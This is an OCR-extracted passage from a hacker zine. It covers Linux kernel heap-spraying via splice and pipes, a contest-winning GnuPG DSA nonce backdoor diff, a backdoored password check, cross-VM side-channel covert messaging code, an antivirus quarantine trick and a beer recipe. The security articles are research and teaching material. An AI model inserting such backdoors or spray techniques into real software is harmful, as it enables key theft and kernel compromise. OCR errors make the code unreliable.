if (!shift)
return nullptr;
if (-1 == fcntl(pipe.In(), F_SETPIPE_SZ,
PAGE_SIZE * shift))
return nullptr;
if (!pipe->Write(mem, size))
return nullptr;
return size;

}

void Free() override {
m_bitmap.reset ();
}
}

One of the reasons why we focus mainly on object header-
based kmallocs is that in Linux the objects we deal with are
easy to overwrite, have a lot of pointers and useful state we can
manipulate, and are often quite large. For example, they may
cover different SLABSs, and may even be located in the same
SLAB as various kinds of buffers that make pretty sexy targets.
One more reason is covered later in this article.

However, understanding the real pool layout is a far more dif-
ficult task than described above, as randomization complicates
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it to a large extent. You can usually overcome it with spraying
in the same cache and filling most of the pool to ensure that al-
most every object there can be used for exploitation, as due to
randomization you don’t know where your target will reside.

Sometimes by trying to do this kind of pool layout with over-
flowable buffer and right object headers you can achieve full pwn
even without touching addr_limit.
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39



=

11

13

15

17

9 Elegies of the Second Crypto War

Pool spray brute force implementation:

template<typename t_PoolObjType, bool FIFO>
size_t Spray(size_t objLimit) {
for (size_t n_obj_id = 0; n_obj_id < objLimit;n_obj_id++){
std::unique_ptr <IPoolObj> pool_obj(new t_PoolObjType());
if (!pool_obj)//not enough memory on heap ?
break;
if (!pool_obj->Alloc())//not enough memory on pool ?
break;
if (FIFO0)
BILIST::push_back(
*static_cast<t_PoolObjType*>(pool_obj.release()));
else
BILIST::push_front(
*static_cast<t_PoolObjType*>(pool_obj.release()));
}
return BILIST::size();

But as we mentioned before, a big drawback to effective pool
spraying on Linux and to doing a massive controllable pool layout
is the limit on the number of owned kernel objects per process.
You can create a lot of processes to overcome it, but that is bit
messy and it doesn’t always properly solve your issue.

Spray by GFP_USER zone:

To overcome this limitation and to control more of the kernel
memory (zone GFP_USER) state, we came up with a somewhat
more comprehensive solution than that which was presented at
Confidence 2015.17

To understand this technique, we will need to take a closer look
at the splice method.

17SPLICE When Something is Overflowing by Peter Hlavaty, Confidence
2015
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ssize_t default_file_splice_read(struct file *in,
loff_t *ppos, struct pipe_inode_info *pipe,
size_t len, unsigned int flags){
unsigned int nr_pages;
unsigned int nr_freed;
size_t offset;

struct page *pages[PIPE_DEF_BUFFERS];
/7.
struct splice_pipe_desc spd = {
.pages = pages,
.partial = partial,
.nr_pages_max = PIPE_DEF_BUFFERS,
.flags = flags,
.ops = &default_pipe_buf_ops,
.spd_release = spd_release_page,
};
/7.

for(i=0; i<nr_pages && i<spd.nr_pages_max && len; i++){
struct page *page;

page = alloc_page (GFP_USER);
/7.

As you can see from this highlight, the important page is
alloc_page (GFP_USER), which is allocated for PAGE_SIZE and
filled with controlled content later. This is nice, but we still have
a limit on pipes!

Now here is a paradox: sometimes randomization can play in
your hands! In other words, when you splice many times, you
will cover a lot of random pages in kernel’s virtual address space.
But that’s exactly what we want!

But to trigger default_file_splice_read you need to pro-
vide the appropriate pipe counterpart to splice, and one of the
best candidates is /dev/ptmx, the TTY. As splice is for moving
content around, you will need to perform a few steps to achieve
a successful spray algorithm:
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no memory pressure!

[[]|BUFFER in user mode + allow spray with only Ox1fd pipes!
M controlled data 1
Y - master pipe - out
M controlled data 1
|2| controlled data 3 /\
O
O
V
=== P> [[][6UFFER in kernel mode
Y - slave pipe - in
controlled data 1

0
o
|Z| controlled data 1
[

controlled data 3

You will need to repeatedly (1) fill tty slave, (2) splice tty master
to pipe in, and (3) read it out from pipe out.

In conclusion, we consider kmalloc, with per-byte-controlled
content, and kfree controllable by user to that extent very dam-
aging for overall kernel security and introduced mitigations. And
we believe that this power will be someday stripped from the
user, therefore making harder exploitation of otherwise difficult
to exploit vulnerabilities.

In this article we do not discuss kernel memory control by the
ret2dir technique.'® For additional info and practical usage check
our research from BHUS15!'9

8ret2dir: Rethinking Kernel Isolation by Kemerlis, Polychronakis, and
Keromytis

19 Universal Android Rooting is Back! by Wen Xu, BHUSA 2015
unzip pocorgtfo09.pdf bhusalbwenxu.pdf
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9:5 Second Underhanded Crypto
Contest

by Taylor Hornby
featuring winning submissions
by Joseph Birr-Pizton and Scott Arciszewski

Defcon 23’s Crypto and Privacy Village mini-contest is over.
Despite the tight deadline, we received five high-quality submis-
sions in two categories. The first was to patch GnuPG to leak
the private key in a message. The second was to backdoor a
password authentication system, so that a secret value known to
an attacker could be used in place of the correct password.

GnuPG Backdoor

We had three submissions to the GnuPG category. The winner
is Joseph Birr-Pixton. The submission takes advantage of how
GnuPG 1.4 generates DSA nonces.

The randomness of the DSA nonce is crucial. If the nonce
is not chosen randomly, or has low entropy, then it is possible
to recover the private key from digital signatures. GnuPG 1.4
generates nonces by first generating a random integer, setting
the most-significant bit, and then checking if the value is less
than a number Q (a requirement of DSA). If it is not, then the
most-significant 32 bits are randomly generated again, leaving
the rest the same.

This shortcut enables the backdoor. The patch looks like an
improvement to GnuPG, to make it zero the nonce after it is no
longer needed. Unfortunately for GnuPG, but fortunately for this
contest, there’s an extra call to memset () that zeroes the nonce
in the “greater than Q” case, meaning the nonce that actually
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diff --git a/cipher/dsa.c b/cipher/dsa.c
index e23f05c..e496d69 100644

--- a/cipher/dsa.c

+++ b/cipher/dsa.c

@@ -93,6 +93,7 00 gen_k( MPI q )

progress (’.7);
if ( 'rndbuf || nbits < 32 ) {
+ if (rndbuf) memset (rndbuf, O, nbytes);

xfree (rndbuf) ;

rndbuf = get_random_bits( nbits, 1, 1 );

}
@@ -115,15 +116,18 @@ gen_k( MPI q )

if ( '(mpi_cmp( k, g ) < 0) ) { /* check: k < q */

if ( DBG_CIPHER )
progress (’+7);
+ memset (rndbuf, 0, nbytes);
continue; /* no */

if ( '(mpi_cmp_ui( k, 0 ) > 0) ) { /# check:
if ( DBG_CIPHER )

progress (’-7);
+ memset (rndbuf, 0, nbytes);
continue; /* no */
}
break; /* okay */
¥
+ memset (rndbuf , 0, nbytes);

xfree (rndbuf) ;
if ( DBG_CIPHER )
progress (’\n’);

k> 0 #/

Figure 9.7: GNUPG Backdoor
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gets used will only have 32 bits of entropy. The attacker can fire
up some EC2 instances to brute force the rest and recover the
private key.

Backdoored Password Authentication

There were two entries to the password authentication category.
The winner is Scott Arciszewski. His submission pretends to be a
solution to a user enumeration side channel in a web login form.
The problem is that if the username doesn’t exist, the login will
fail fast. If the username does exist, but the password is wrong,
the password check will take a long time, and the login will fail
slow. This way, an attacker can check if a username exists by
measuring the response time.

The fix is to, in the case where the username does not exist,
check the password against the hash of a random garbage value.
The garbage value is generated using rand (), a random number
generator that is not cryptographically secure. Some rand () out-
put is also exposed to the attacker through cache-busting URLs
and CSRF tokens. With that output, the attacker can recover
the internal rand () state, predict the garbage value, and use that
in place of the password.

An archive with all of the entries is included within this PDF.20
The judge for this competition was Jean-Philippe Aumasson, to
whom we extend our sincerest thanks.

20unzip pocorgtfo09.pdf uhc-subs.tar.xz
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9:6 Cross-VM Side Channels; or,
Abusing Out-of-Order-Execution

by Sophia D’Antoine

In which Sophia uses the MFENCE instruction on VMs,
just as Joshua used trumpets on the walls of Jericho. —PML

At REcon 2015, I demonstrated a new hardware side channel
that targeted co-located virtual machines in the cloud. This at-
tack exploited the CPU’s pipeline as opposed to cache tiers, which
are often used in side channel attacks. Looking for hardware-
based side channels, specifically in the cloud, I analyzed a few
universal properties that define the “right” kind of vulnerable
system as well as unique ones tailored to the hardware medium.

The relevance of these types of attacks will only increase—
especially attacks that target the vulnerabilities inherent to sys-
tems that share hardware resources, such as in cloud platforms.

What is a Side Channel Attack?

A side channel is a way for any meaningful information to be
leaked from the environment running the target application, or
in this case the victim virtual machine (as in Figure 9.8). In this
case, a process (the attacker) must be able to repeatedly record
this environment artifact from inside another virtual machine.

In the cloud, this environment is the shared physical resources
on the service used by the virtual machines. The hypervisor
dynamically partitions each physical resource, which is then seen
by a single virtual machine as its own private resource. The side
channel model in Figure 9.9 illustrates this.
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victim:
leaves
artifacts

adversary:
records

artifacts

e ~N_—
Shared Hardware

Figure 9.9: Side channel model

Knowing this, the attacker can interact with that resource par-
tition in a recordable way, such as by flushing a line in the cache
tier, waiting until the victim process uses it for an operation,
then requesting that address again—recording what values are
now there.

What Good is a Side Channel Attack?

Great! So we can record things from our victim’s environment—
but now what? Of course, some kinds of information are better
than others; here is an overview of the different kinds of attacks
people have considered, depending on what the victim’s process
is doing.

Crypto key theft. Crypto keys are great; private crypto keys
are even better. Using this hardware side channel, it’s possible to
leak the bytes of the private key used by a co-located process. In
one scenario, two virtual machines are allocated the same space
in the L3 cache at different times. The attacker flushes a certain
cache address, waits for the victim to use that address, then
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queries it again—recording the new values that are there.?!

Process monitoring. What applications is the victim run-
ning? It will be possible for find out when you record enough
of the target’s behavior, i.e., its CPU or pipeline usage or val-
ues stored in memory. Then a mapping between the recording
to a specific running process could be constructed—up to some
varied degree of certainty. Warning, this does rely on at least a
rudimentary knowledge of machine learning.

Environment keying. This attack is handy for proving co-
location. Using the environment recordings taken off of a specific
hardware resource, you can also uniquely identify one server from
another in the cloud. This is useful to prove that two virtual
machines you control are co-resident on the same physical server.
Alternatively, if you know the behavior signature of a server your
target is on, you can repeatedly create virtual machines in the
targeted cloud, recording the behavior on each system until you
find a match.?2

Broadcast signal. This attack is a nifty way of receiving
messages without access to the Internet. If a colluding process
is purposefully generating behavior on a pre-arranged hardware
resource, such as purposefully filling a cache line with 0’s and 1’s,
the attacker (your process) can record this behavior in the same
way it would record a victim’s behavior. You then can translate
the recorded values into pre-agreed messages. Recording from
different hardware mediums results in a channel with different
bandwidths.?3

2l FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-
Channel Attack by Yarom and Falkner from USENIX Security 2014

22 Cross-Tenant Side-Channel Attacks in PaaS Clouds by Zhang et al at
ACM CCS 2014

23 Whispers in the Hyper-space: High-speed Covert Channel Attacks in the
Cloud by Wu, Xu, and Wang at USENIX Security 2012
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The Cache is Easy; the Pipeline is Harder

Now all of the above examples used the cache to record the en-
vironment shared by both victim and attacker processes. It is
the most widely used resource in both literature and practice for
constructing side channels, as well as the easiest one to record
artifacts from. Basically, everyone loves cache.

However, the cache isn’t the only shared resource. Co-located
virtual machines also share the CPU execution pipeline, as il-
lustrated in Figure 9.10. In order to use the CPU pipeline, we
must be able to record a value from it. Unfortunately, there is no
easy way for any process to query the state of the pipeline over
time—it is like a virtual black-box.

The only thing a process can know is the instruction set order
it gives to be executed on the pipeline and the result the pipeline
returns. This is the information source we will mine for a number
of effects and artifacts.

Out of order execution: a pipeline’s artifact. We can
exploit this pipeline optimization as a means to record the state
of the pipeline. The known input instruction order will result
in two different return values—one is the expected result(s), the
other is the result if the pipeline executes them out-of-order.

Strong memory ordering. Our target, cloud processors, can
be assumed to run the x86/64 architecture, which has a strongly-
ordered memory model.?* This is important, because the pipeline
will optimize the execution of instructions, but will attempt to
maintain the right order of stores to memory and loads from
memory.

Howewver, the stores and loads from different threads may be
reordered by out-of-order-execution. Now, this reordering is ob-
servable if we’re clever enough.

24 Weak vs. Strong Memory Models from Preshing on Programming
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Threads to
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Figure 9.10: Foreign processes can share the same pipeline.

Recording instruction reorder (or, how to be clever).
In order for the attacker to record these reordering artifacts from
the pipeline, we must record two things for each of our two
threads: input instruction order and return value.

Additionally, the instructions in each thread must contain a
STORE to memory and a LOAD from memory. The LOAD from
memory must reference the location stored to by the opposite
thread. This setup ensures the possibility for the four cases illus-
trated in Figure 9.11. The last is the artifact we record; doing so
several thousand times gives us averages over time.

Sending a message. To make our attacks more interesting,
we want to be able to force the amount of recorded out-of-order-
executions. This ability is useful for other attacks, such as con-
structing covert communication channels.

In order to do this, we need to alter how the pipeline optimiza-
tion works by increasing the probability that it either will or will
not reorder our two threads. The easiest is to enforce a strong
memory order and guarantee that the attacker will receive fewer
out-of-order-executions. This is where memory barriers come in.
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THREAD 1 THREAD 2

Synched store [X], 1 store [Y], 1
e CECETN

load r1, [Y] load r2, [X]

ASynched store [X], 1

load r1, [Y] store [Y], 1 [—p] = =
load r2, [X] i or L

Out of 1 load r1, [Y] load r2, [X]

Order <
Execution* store [X], 1 store [Y], 1

Figure 9.11: The attacker can record when its instructions are
reordered.

Memory barriers. In the x86 instruction set, there are spe-
cific barrier instructions that stop the processor from reordering
the four possible combinations of STOREs and LOADs. What we’re
interested in is forcing a strong order when the processor en-
counters an instruction set with a STORE followed by a LOAD. The
MFENCE instruction does exactly this.

By getting the colluding process to inject these memory bar-
riers into the pipeline, the attacker ensures that the instruc-
tions will not be reordered, forcing a noticeable decrease in the
recorded averages. Doing this in distinct time frames allows us
to send a binary message, as shown in Figure 9.12. More details
are available in my thesis.?

The takeaway is that—even with virtualization separating your
virtual machine from the hundreds of other virtual machines!—
the pipeline can’t distinguish your process’s instructions from all
the other ones, and we can use that to our advantage.

25unzip pocorgtfo09.pdf crossvm.pdf
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THE PIPELINE

C s |NOP| |Store[X],1| | mfence | |Loadr1,[X] | |NOP|_ .

Figure 9.12: MFENCE ensures the strong memory order on pipeline

#TRANSMITTER sophia.re 07/06/15

from time import time,sleep
import os

# takes a binary string as input
def send (Message, roundLength):
for x in Message:
# Run a single busy loop to represent a 0
if( x == 207):
print (’sending’, x)
# change the time of this busy loop to match
# receiver round length

start_time = time ()
#this number is loop time in seconds
end_time = time() + roundLength

while( start_time < end_time):
start_time = time() #do nothing
else:
# Send a ’hi’ bit in a given time frame by
# reducing the received out of order
# ezecutions using the sender eze.
print (’sending’, x)
start_time = time ()
end_time = time() + roundLength
while( start_time < end_time):
os.system("C:\\CPUSender.exe")
# loop until sending c process terminates
start_time = time ()

def main():
# measured receiver time frame length in seconds
# (for one bit)
roundLength = 1.08
message = 7’
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# enter binary string
while( message != ’exit’):

message = raw_input (’Enter Binary String: ’)
start_t = time ()
if ( message != ’exit’):

send (message ,roundLength)
print "\nTotal execution time:
print time() - start_t

if __name__ == "__main__":
main ()

#RECEIVER sophia.re 07/06/15

from time import time,sleep

import
import
import
import
import

os
sys, subprocess

msvcrt as m

matplotlib
matplotlib.pyplot as plt

def main():
while True:

start_time = time ()
end_time = time() + 12
print "Receiving Bits in Words (8 bit blocks)....\n"

# records out of order ezecutions
# and writes averages to file

p = subprocess.Popen("C:/Receiver.exe "+"1 "x%8)
while start_time < end_time:
start_time = time ()

print time ()

wait because of system latency
p = subprocess.Popen("C:/nop.exe")
p = subprocess.Popen("C:/nop.exe")

# read all recorded out of order executions from file
f = open("C:/Python27/BackupCheck.txt")

txt = f.readlines()

f.close ()

txt = txt[0]

print "Received Bits\n"

print txt
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9 Elegies of the Second Crypto War

# trigger a picture to appear

bits = txt.split(":")
if "11" in bits[0]:
print "\n [+] trigger detected "
exe = "C:/Users/root/JPEGView.exe"
args = *"C:/pics"’
p = subprocess.call([exe,args])
sys.exit (0)
quit ()
else:
print "\n [+] trigger not detected"
# plot received exzecutions to view step signal
print "\n\nEnter to Plot...."
p.kill ()
m.getch ()
# plot recorded 0o0E step signal to png file
with open("BackupCheck2.txt") as f:
data = f.read()
data = data.split("\n")
y = [float(x) for x in datal[0].split(’> ’)[:-11]
x = list(xrange(len(y)))
print "There are ", len(y), " elements to plot."
fig = plt.figure()
axl = fig.add_subplot (111)
axl.set_title("Plot Received 000E")
axl.set_xlabel("iterations")
axl.set_ylabel ("out-of -order-execution averages")
ax1l.fill_between(x,y,color=’yellow’)
axl.plot(x,y, marker=’.’, lw=1,
label=’the data’, alpha=0.3)
leg = ax1l.legend ()
plt.savefig(’plot.png’, bbox_inches=’tight’)
# repeat
print "\n\nEnter to Continue...."
m.getch ()
if __name__ == "__main__":
main ()
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9:7 Antivirus Tumors

by Eric Davisson

McAfee Enterprise VirusScan, which is not the home version of
their AV, has a peculiar way of quarantining malware. If an anti-
virus product wants to keep a forensic copy of removed malware,
it must either move it to an area of the system that it doesn’t
scan, or it must somehow transform this malware data so it can
no longer be seen by the anti-virus signature. VirusScan is almost
able to get away with the second option. Almost.

A VirusScan quarantine file (.bup) is an odd form of an archive
format called Compound File Binary Format that can usually be
read by 7zip. This file contains two files. One of them is a file
that contains metadata on the original malware. The other file is
the malware file that was removed. Both of these files have been
XOR encoded with a one byte key of 0x6a (ASCII ‘j’). This
7zip file is archive mode only, so it has no compression. All of
this is extremely useful.

Let’s say that hypothetically all ‘X’ characters look like mal-
ware to our AV. (This is a bit contrived, but we’ll get back to a
real example soon.) This X is 0x58 or 0b01011000. To bitwise
XOR this char with 0x6A would give us ‘2’ (0x32 or 0b00110010).
So our PoC would be ‘X2’ for a signature that looked for ‘X’. Why?
Our tumor has the contents of ‘X2’, and since that contains ‘X’,
it’s bad malware and needs to be quarantined. The file gets
XORed to become ‘2X’ and archived with the metadata. If you
did a hexdump on this forensic .bup file, the contents of ‘2X’ are
still visibly malicious and need to be quarantined!

I neither have nor want access to McAfee’s signatures, but we
all have access to ClamAV’s set of signatures. It is possible (and
highly verified) that there is some signature overlap, as files can
come up dirty on multiple vendors’ scans. In this PoC, I will use
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Figure 9.13: Hexdump of the tumor.
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ClamAV’s “Worm.VBS.IRC.Alba (Clam)” signature. Despite the
name, I assure you that if you submit the file through McAfee,
it scans dirty.

This quick little script extracts a plaintext Clam signature
database, parses out the data of our signature, and writes the
original and XOR’d form of this signature to a file called tumor.
This assumes you’re on a Linux system with ClamAV installed
with signatures loaded in /var/lib/clamav/.

dd if=/var/lib/clamav/main.cvd of=hivs.tar bs=512 skip=1;

tar -x main.db -f hivs.tar 2> /dev/null;

chmod 666 main.db;

rm hivs.tar;

grep "IRC.Alba" main.db | grep -o "[0-9a-f]\+\$" | xxd -r -p \

| perl -0777 -e \

’$k = <>; print $k; print ($k -~ ("j" x length($k)));’> \
> tumor;

rm main.db

This tumor is benign, as its growth eventually stops after a few
rounds, and I’ve not yet been able to compose a proof of concept
of a malignant tumor, one that eventually fills the hard disk.
Through experimentation, I suspect that McAfee signatures are
more complex than string matches. For example, when McAfee
pulls out of my pool a file that previously had no nulls but now
does, it often no longer sees it as malware and rejoices. This is a
problem as 7zip introduces nulls in its metadata. Also some ma-
licious data no longer triggers the antivirus when pushed deeper
into the file. These barriers might be bypassed by more intimate
knowledge of the McAfee signatures.
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9:8 Brewing TCP/IPA; or,
A Skill for the Zombie Apocalypse

by Ron Fabela of Binary Brew Works

Hacking is a broad term that has too many
negative and positive connotations to list. But
whichever connotations you prefer, it is a skillset,
and a skill is all about things or services that can
be exchanged for currency or bartered for goods.
While this fine journal excels in sharing scattered
bits of useful hacking knowledge, the vast major-
ity of publications repeat ad nauseam the same
drivel of the cyber world. But when the zombies
come—and they will come!—what good are your SQL injections
for survival? How will you exchange malware for fresh vegetables
and clean drinking water? What practical skills do you have that
can enable your survival?

What hackers shares with makers is their common ground of
curiosity, skill, and patience, and these intersect on a product
that is universally recognized, suitable for barter, and damn tasty.
Of course, beer as we know it today differs from the ancient times,
where it was a part of the daily diet of Egyptian Pharaohs and
Greek Philosophers. Today’s beer and its varieties have acquired
a broader tradition, each with a unique background and tastes.
But in that variety there is a center, one that pulls together peo-
ple from all races, cultures, and economic statuses. Modern day
philosophers and preachers discuss the world’s challenges over
beer. Business deals and other relationships are solidified at the
bar, by liquid camaraderie!

Why do I tell you this? Because there comes a time in ev-
ery hacker’s life when you wish for more, to create something of
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intrinsic value rather than endlessly find faults in the works of
others. For me, that was turning grain, water, hops, and yeast
into something greater than the sum of its parts. It’s an avenue
to share, to serve others, to create. It’s also something to trade
for milk and bread when the zombies come!

Ingredients

Beer, like most things in life, can be as simple or as complex as
you wish it to be. But at its core, this beverage started with four
primary ingredients, each just as important as the next: grain,
water, hops, and yeast.

Grain Or even more generally, any cereal where its grain can be
cultivated and finally sugars can be extracted. But more than
just simple grain, grain that has undergone the malting process.
Grains are made to germinate by soaking in water, and are then
halted from germinating further by drying with hot air, as shown
in Figure 1. By malting grains, enzymes are produced that are re-
quired for converting the starches into sugars. This is important
to know, as not just any grain will do for the beer brewing pro-
cess. These sugars which are extracted from the malted grains
will eventually be turned to alcohol during fermentation, as in
Figure 2.

Water Arguably the most critical component, water makes up
95% of the final product and can contribute as much to the taste
and feel of the brew as the grains, hops, and yeast. Books have
been written and rewritten on the subject of brewing water and
will not be rehashed here. Good water must be clean, plentiful
and free of chlorine.
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Hops Starting in the ninth century, brewers began using hops
in place of bittering herbs and flowers as a way to flavor and
stabilize their brew. Hops are the female flowers of the hop plant
with training bines that set forth like ivy or grapes. The hop
cone itself is made of multiple components, but most important
to brewing are the resins that are composed of alpha and beta
acids. Alpha acids in particular are critical due to their mild
antibiotic/bacteriostatic effect that favors the exclusive activity
of brewing yeast over microbial nasties swimming about. See
Figure 3.

Beta acids contribute to the beer’s aroma and overall flavor.
These acids are extracted during the brewing process by boiling.

Yeast Single-celled organisms with an amazing ability to con-
vert carbohydrates (sugars) into CO5 and alcohol, yeast is the
literal lifeblood of beer, as fermentation changes sugary and oth-
erwise boring sugar water (wort, or young beer) into glorious
brew.

For brewing there are two main types of yeasts: “top-cropping”
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where the yeast forms a foam at the top of the wort during
fermentation and is more commonly known as “ale yeast” and
“bottom-cropping” where the yeasts ferment at lower tempera-
tures and settle at the bottom of the vessel during fermentation,
commonly known as “lager yeast.”

Yeast can be cultivated from the wild or known/safe sources.
They can even be collected and nurtured from bottle-conditioned
brews, Belgian varieties in particular.

Brewing Process

The brewing process is often fifteen minutes of frantic activity
followed by an hour of drinking, cleaning, and a bit of conver-
sation. Simplistically, the steps are to first extract fermentable
sugars from the malted grains with hot water (mashing), then to
boil and reduce the fermentable sugar water (wort) while adding
hops at specific timing intervals. The wort is then reduced to a
safe temperature and moved to a fermentation vessel, into which
yeast is pitched and the liquid stored at a consistent temperature,
allowing the fermentation process to occur. Finally, the beer is
packed and conditioned for future consumption and enjoyment.

There is quite a bit of science and wizardry that takes place
in these five steps. I would like to take you through this process
with one of our own recipes at Binary Brew Works. These days
you can’t have a brewery without an India Pale Ale (IPA), a beer
that at its origin was heavily hopped to make the journey by ship
from England to India. This heavy-handed hop addition creates
a highly bitter, but hopefully aromatic and balanced brew that
is popular today.
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Gathering the Ingredients For our IPA, appropriately named
TCP/IPa, the following ingredients are used and scaled for a
thirty gallon (114 liter) batch. Scaling at this volume is 1:1, so
halving the numbers for a fifteen gallon (57 liter) batch will yield
similar results.26

TCP/IPa

FERMENTABLES :

2Row 70 1lbs
Caramel Malt 60L 6 1lbs
Flaked Wheat 6 1lbs
HOPS:

Cascade 8 oz @ 60 mins
Citra 16 oz @ 15 mins
Yeast:

Wyeast 1056

Preparing the Mash Water In a brewing kettle, bring the wa-
ter to what is known as strike temperature. The volume of wa-
ter depends on other parameters such as grain absorption rates,
equipment losses, and evaporation. Using a brewing water calcu-
lator is recommended. For this recipe, approximately 45 gallons
(170 liters) of strike water are needed to get the desired 30 gal-
lons (114 liters) of finished product. Your striking temperature
is typically 10-15°F (5-7°C) higher than your target mash tem-
perature. In this case, 170°F (77°C) for a target 160°F (71°C).

26git clone https://github.com/BinaryBrewWorks/Beer
unzip pocorgtfo09.pdf beer.zip
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Mashing In a separate vessel called a mash tun, the prepared
grains are waiting for inclusion of the strike water. The mash
tun is often a modified cooler or other insulated vessel that can
contain the volume of both the grain and the striking water. In
single infusion mashing, water is added to the grains, stirred,
and typically left to sit for an hour to allow for the extraction of
fermentable sugars. Fifteen minutes of frantic moving of water,
stirring, and cleaning is then followed by an hour of drinking your
last batch of beer.

Boiling Once the mashing is complete, the sugar water “wort”
has to be extracted and placed into the boiling kittling, often-
times the same kettle used to heat the strike water. This can
be accomplished in a number of ways, mostly through the use
of mesh false bottoms or other straining mechanisms to prevent,
as much as possible, solid grain matter from entering the boiling
kettle.

Once extracted, the wort is brought to a boil and held there
for an hour to an hour and a half. The addition of hops through
the boiling process adds to the bitterness and flavor of the beer,
so it is critical to follow hop addition timings as this has a huge
effect on the final product. For TCP/IPa, two hop additions are
used. Cascade hops are widely used in the industry and there-
fore readily available to the brewer. They provide the bittering
required for an IPA while imparting the characteristic spicy and
citrus flavor expected for the style. Citra hops are added towards
the end of the boil to add the strong citrus and tropical tones of
flavor and aroma. Remember, the earlier the hop addition, the
more bittering oils are extracted from the hop. Later additions
provide more flavor and aroma without adding bitterness.
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Cooling You now have a boiling pot of wort that must be cooled
down to pitching temperature as quickly as possible. This is the
most critical stage of the process! At 212°F (100°C), all types of
nasties that can ruin your beer are boiled away. But as the wort is
cooled, there is an increased risk of bacteria or other infections.
Cleanliness of the brewery and its equipment is key from this
point forward.

Cooling can be accomplished by a number of heat transfer
methods. At smaller volumes, coiled copper tubes shown in Fig-
ure 4 are submerged into the boiling wort to sanitize, and the
cold water is passed through, cooling the wort to the target tem-
perature. At larger volumes, heat transfer equipment gets bigger
and beefier, but serves the same purpose. Most ale yeast pitches
between 70 and 75 degrees Fahrenheit (22°C).

Fermentation Yeast are beautiful little creatures. Through a
metabolic process, yeast convert sugars into gas (COz) and alco-
hol. This process must take place in a sanitary vessel where no
interference from other microbes can ruin our wort. Temperature
control of the vessel and the surrounding room is critical to the
overall taste and feel of the final product. Some styles, such as
the saison, are purposefully fermented at the highest tempera-
tures (80-85°F, 27-29°C) allowed by the yeast. Fermentation at
this temperature produces a spicy profile.

For lagers, yeast ferment at lower temperatures common to
basements and cellars and produce a funky flavor. Not my pref-
erence, but fun nonetheless if you have the equipment or climate
to ferment at this temperature.

And like magic, our sugary wort is churned, eaten, and con-
verted into glorious beer.
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Packaging Once the fermentation process is nearly complete,
the beer can be stored and chilled. Carbonation comes next,
with various methods available to the home brewer. Bottle con-
ditioning is the process of introducing a priming sugar back into
the wort just prior to bottling. Take careful notes and mea-
surements at this point, as too much sugar can create explosive
“bottle bombs.”

Investing in a used kegging system can help tremendously. Not
only does this simplify cleaning, it also allows the brewer to force
carbonate the keg. Attaching a COs tank and selecting the ap-
propriate PSI level can quickly and more evenly carbonate your
brew to the target levels. Plus there’s nothing like having fresh,
cold beer on tap.

Creating a final product from raw ingredients is a very fulfill-
ing process. The basic process of extracting sugars from grain,
adding hops, fermentation, and drinking is just the surface of a
complex, diverse, and creative industry. For the homebrewer, not
only serves as a way to make and enjoy beer, but also as a social
tradition where drinks and conversations are had over a boiling
pot of wort. Go forth, become a brewer, and enjoy the miracle
of your own beer!
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9:9 Shenanigans with APRS and AX.25
for Covert Communications

by Vogelfrei

This little document details some shenanigans involving APRS
and its underlying AX.25 protocol, including but not limited
to covert channels, steganography, avoiding detection by normal
users and leveraging Internet infrastructure for worldwide covert
communication.

Covert channels in radio packet protocols have been investi-
gated in the past.2” Although the regulations for amateur ra-
dio operation explicitly forbid hiding, encoding, or encrypting
communications in any form, it is nonetheless a challenging and
fruitful field for experimentation.

I had been researching the topic for a while, and informally
mentioned this to my neighbors Travis and Muur, who—it turned
out—had been working on PSK31. They requested an article to
follow theirs, PoC||GTFO 8:4. So enjoy this short piece, and look
out for more elaborate tricks and tools for all your booklegging
communication needs, because the world is almost through!

The APRS protocol (Automatic Position Reporting System),
originally developed by Bob Bruninga (WB4APR), has its roots
in the necessity to track the position and telemetry data of vehi-
cles, weather stations, and hikers.

APRS is built on the AX.25 protocol, an amateur variant
of the commercial X.25 protocol you’ll fondly remember from
Phrack 45:8. Despite the amateur nature of its deployment, there
is an impressively large infrastructure of Internet gateways, digi-
peaters, weather stations, and other kinds of nodes. The Interna-
tional Space Station (ISS) itself has an APRS-capable digipeater

27 jt65stego by Drapeau (KA1OVM) and Dukes, 2014
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on-board, and radio operators across the globe engage in packet
radio messaging through the station and other satellites.

Perhaps the most interesting feature of APRS, besides the fact
that it supports exchanging all kinds of information, is the way
the data is routed between uncoordinated nodes over large areas.
It is this decentralized, connection-less nature that makes APRS
ideal for covert communication purposes.

Frequencies and Equipment

Now that you have a general idea of what APRS is and what
it might be useful for, you should know which frequencies are
designated for APRS transmissions. Frequencies vary by country,
but as a general rule, North America uses 144.390 MHz while
Europe and Africa use 144.800 MHz. The International Space
Station is nearby, at 145.825 MHz.

For testing and experimentation purposes, start with a cheap
hand-held radio such as the Baofeng UV5R from China. It is
capable of transmitting in the 2m and 70cm bands, and can easily
be connected to your computer’s sound card. This will allow you
to immediately test software modems and get your feet wet with
APRS and other packet radio protocols.

If you would like to get fancy, I recommend two additional
pieces of equipment. Get a dual-band radio with TNC support,
such as the Kenwood TM-D7xx or TH-D72A. The TNC will in-
terpret packets in hardware, freeing you from DSP headaches.
You will also want a general purpose wide-band receiver with
discriminator (unadulterated audio) output; ordinary folks call
this a scanner.
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The Protocol

As mentioned before, APRS uses AX.25 for transport. More
specifically, APRS data is contained in AX.25 Unnumbered In-
formation (UI) frames, in the information field. The protocol is
completely connectionless; there is neither state nor any expec-
tation of a response for a given packet.?® This is rather handy
for simple systems, since you will only need a single packet con-
sumer, and the rest of your state machine is entirely up to you.
Because of its simplicity, APRS can be easily implemented in
microcontrollers.

A simple APRS message packet looks as follows:
NOCALL-9>N1CALL-9,WIDE1-1,WIDE2-2::N1CALL-9 :This is a test for APRS messages{1

Dissecting its structure, we will find:

1. The path element: NOCALL-9>N1CALL-9,WIDE1-1,WIDE2-2

2. A colon (:) delimiting the end of the path and the begin-
ning of the packet data.

3. The packet type identified by a single character, also a
colon, for messages.

4. After that, whatever format the packet type specifies. In
the case of a message, a colon-delimited recipient callsign,
followed by the text and a { bracket followed by a number,
indicating the line of the message, starting at one.

28This is the exact opposite of your WiFi, where every data frame is ac-
knowledged, and no more data is sent unless either the ACK arrives or
a timeout is reached.
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1 W Data Type ID

APRS Data

1 — 256 Bytes
7 Bytes APRS Data

Extension

Comment

Figure 9.14: APRS Data contained in the AX.25 information field
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The comment field is also susceptible to abuse, limited to print-
able ASCII data as the specification demands, “The comment
may contain any printable ASCII characters, except | and ~,
which are reserved for TNC channel switching.” Depending on
the DTI, the Comment field is used to include additional informa-
tion besides what is sent in the Data field, mostly for telemetry
uses. Coordinates are encoded using Base-91.

The wealth of information provided in the original protocol
specification should be more than enough to figure out ways to
